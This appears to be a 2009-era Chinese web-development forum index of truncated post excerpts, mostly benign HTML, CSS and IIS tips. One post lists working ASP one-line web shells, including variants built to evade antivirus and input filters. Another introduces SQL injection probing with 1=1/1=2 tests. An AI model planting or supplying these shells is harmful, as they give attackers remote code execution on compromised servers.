版主：
SQL查询结果集对注入的影响及利用 [发表：夏飘雪]
[2009-8-29 7:59:45]
对于注入而言，错误提示是极其重要。所谓错误提示是指和正确页面不同的结果反馈，高手是很重视这个一点的，这对于注入点的精准判断至关重要。本问讨论下关于几类错误和他产生的原理，希望对读者有所帮助。
错误提示主要有逻辑错误和语法错误以及脚本运行错误三类。
一：逻辑错误
简单的例子是1=1 1=2这两个，1=1与1=2页面不同的原理是什么？以$sql = "select * from news where id=$_GET[id]"为例。
select * from news where ...
错误提示主要有逻辑错误和语法错误以及脚本运行错误三类。
一：逻辑错误
简单的例子是1=1 1=2这两个，1=1与1=2页面不同的原理是什么？以$sql = "select * from news where id=$_GET[id]"为例。
select * from news where ...
Windows 7下如何安装和配置IIS 7和ASP [发表：夏飘雪]
[2009-9-8 8:39:49]
本文讲述了在Windows 7下如何安装IIS7，以及IIS7在安装过程中的一些需要注意的设置，以及在IIS7下配置ASP的正确方法。
一、进入Windows 7的 控制面板，选择左侧的打开或关闭Windows功能 。
二、安装IIS
三、安装完成后，再次进入 控制面板，选择 管理工具，双击 Internet(IIS)管理器 选项，进入IIS设置。
四、现在进入到IIS7控制面板。
五、选择 Default Web Site，并双击 ASP 的选项，
六、IIS7中ASP 父路径 是没有启用的...
一、进入Windows 7的 控制面板，选择左侧的打开或关闭Windows功能 。
二、安装IIS
三、安装完成后，再次进入 控制面板，选择 管理工具，双击 Internet(IIS)管理器 选项，进入IIS设置。
四、现在进入到IIS7控制面板。
五、选择 Default Web Site，并双击 ASP 的选项，
六、IIS7中ASP 父路径 是没有启用的...
Js日期选择，可以重复使用 [发表：whjsqb]
[2009-8-1 8:19:01]
Js 日期选择，可以的一个页面中重复使用本JS日历，兼容IE及火狐等主流浏览器，而且界面简洁、美观，操作体验也不错。
[code]<html>
<head>
<title>Js 日期选择</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style>
body{font-size:12px;font-family:Verdana,Arial,"宋体";}
a:link {color:#464646;text-decoration:none;}
a:visited {color:#464646;text-decoration:none;}
a:hover{...
[code]<html>
<head>
<title>Js 日期选择</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style>
body{font-size:12px;font-family:Verdana,Arial,"宋体";}
a:link {color:#464646;text-decoration:none;}
a:visited {color:#464646;text-decoration:none;}
a:hover{...
页面切换效果 [发表：夏飘雪]
[2009-8-7 17:23:38]
在页面前部<head>与</head>之间加入如下语句：
<meta http-equiv="Page-Enter" content="revealTrans(Duration=5.0,Transition=3)">
其中：
http-equiv="Page-Enter"指进入网页，换成http-equiv="Page-Exit"指退出网页；
Duration为切换时间，数字越大切换的时间越长；
Transition为切换类型：
1. 从中心到四周展开的矩形；
2. 从四周到中心展开的圆；
3. 从中心到四周展开的圆；
4. 从下到上展开；
5. 从上到...
<meta http-equiv="Page-Enter" content="revealTrans(Duration=5.0,Transition=3)">
其中：
http-equiv="Page-Enter"指进入网页，换成http-equiv="Page-Exit"指退出网页；
Duration为切换时间，数字越大切换的时间越长；
Transition为切换类型：
1. 从中心到四周展开的矩形；
2. 从四周到中心展开的圆；
3. 从中心到四周展开的圆；
4. 从下到上展开；
5. 从上到...
蓝色清新菜单，和图片配合的很完美 [发表：听话的狗司机]
[2009-7-31 8:30:04]
经典的蓝色清新菜单，和背景图片配合的几乎完美，竖向排列视觉效果比较舒服，鼠标滑过菜单的时候，背景色和菜单颜色形成鲜明对比，有种绽放强烈的感觉。
[code]<title>蓝色清新菜单</title>
<style>
body {
margin:0;
padding:0;
font:70% Arial, Helvetica, sans-serif;
color:#555;
text-align:center;
line-height:180%;}
a{
color:#000;
text-decoration:none;}
#container{
margin:0 auto;
width:575px;
t...
[code]<title>蓝色清新菜单</title>
<style>
body {
margin:0;
padding:0;
font:70% Arial, Helvetica, sans-serif;
color:#555;
text-align:center;
line-height:180%;}
a{
color:#000;
text-decoration:none;}
#container{
margin:0 auto;
width:575px;
t...
一句话木马及几种可绕过过滤格式 [发表：夏飘雪]
[2009-9-22 15:49:26]
ASP一句话
1.<%eval request("YouPass")%>
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>
免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>
绕过部分网站过滤<%,%>的一句话
5.<script la...
1.<%eval request("YouPass")%>
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>
免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>
绕过部分网站过滤<%,%>的一句话
5.<script la...
调整行间距代码 [发表：夏飘雪]
[2009-8-13 16:32:49]
可用CSS 例如:
<style type="text/css">
body { LINE-HEIGHT: 150% }
</style>
<P style="LINE-HEIGHT:20px">XXXXXXXX</P>
<style type="text/css">
body { LINE-HEIGHT: 150% }
</style>
<P style="LINE-HEIGHT:20px">XXXXXXXX</P>
网页嵌套代码 [发表：夏飘雪]
[2009-9-27 15:18:48]
网页嵌套代码如下：
<IFRAME marginWidth=0 marginHeight=0 src="网页地址" frameBorder=0 width=680 height=1800></IFRAME>
其中宽度和高度分别为680和1800，可以随意更改！
<IFRAME marginWidth=0 marginHeight=0 src="网页地址" frameBorder=0 width=680 height=1800></IFRAME>
其中宽度和高度分别为680和1800，可以随意更改！
WEB页面使用div+table [发表：夏飘雪]
[2009-8-17 8:06:54]
最近需要在jsp页面动态显示后台模块收到的监控信息，数据量不是很大，但是需要动态生成，页面整体不能出现滚动条，于是需要内嵌滚动条显示内容，在google搜索了下，决定使用div+table,div负责滚动条显示，table动态生成tr显示内容，div设置：
<div style="OVERFLOW-Y:auto;width:100%;height:500px;position: absolute;left:25px" id="show_div_id">
<table width="100%" border="1" align="center" style="table- lay...
<div style="OVERFLOW-Y:auto;width:100%;height:500px;position: absolute;left:25px" id="show_div_id">
<table width="100%" border="1" align="center" style="table- lay...
一段可以让整个网站变黑白代码 [发表：听话的狗司机]
[2010-4-21 9:10:53]
你网站的CSS文件力加入此代码即可自动把网站一切颜色变成单色，哀悼日过后删除代码即可还原彩色
复制内容到剪贴板
代码:html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }
使用方法：这段代码可以变网页为黑白，将代码加到CSS最顶端就可以实现素装。
有一些站长的网站可能使用这个css 不能生效，是因为网站没有使用最新的网页标准协议
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Tr...
复制内容到剪贴板
代码:html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }
使用方法：这段代码可以变网页为黑白，将代码加到CSS最顶端就可以实现素装。
有一些站长的网站可能使用这个css 不能生效，是因为网站没有使用最新的网页标准协议
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Tr...
数据正在处理中...
友 情 链 接
24小时新发主题 
最近被编辑的主题 
超过24小时普通主题